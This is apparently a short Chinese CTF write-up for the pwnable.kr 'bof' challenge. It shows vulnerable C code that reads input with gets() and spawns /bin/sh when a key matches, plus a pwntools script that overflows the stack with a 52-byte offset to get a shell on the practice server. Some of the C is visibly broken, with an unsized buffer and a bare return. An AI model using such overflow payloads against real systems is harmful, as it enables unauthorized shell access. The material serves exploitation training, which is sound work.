pwnable.kr之bof

打开题目:

先下载题目给我们的两个文件，查看文件信息：

发现没有执行的权限，所以先增加文件bof的执行权限，执行：

没发现啥，然后查看代码，

 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 void func(int key){
     char overflowme[];
     printf("overflow me : ");
     gets(overflowme);    // smash me!
     if(key == 0xcafebabe){
         system("/bin/sh");
     }
     else{
         printf("Nah..\n");
     }
 }
 int main(int argc, char* argv[]){
     func(0xdeadbeef);
     return ;
 }

观察代码，知道只要使key==0xcafebabe就可拿到shell，然后查看flag。

所以开始调试找偏移。

调试后知道偏移为52，所以写一个python程序，代码为

from pwn import *
p=remote('pwnable.kr',9000)
payload='a'*52+'\xbe\xba\xfe\xca'
p.sendline(payload)
p.interactive()

拿到shell，输入cat flag，拿到flag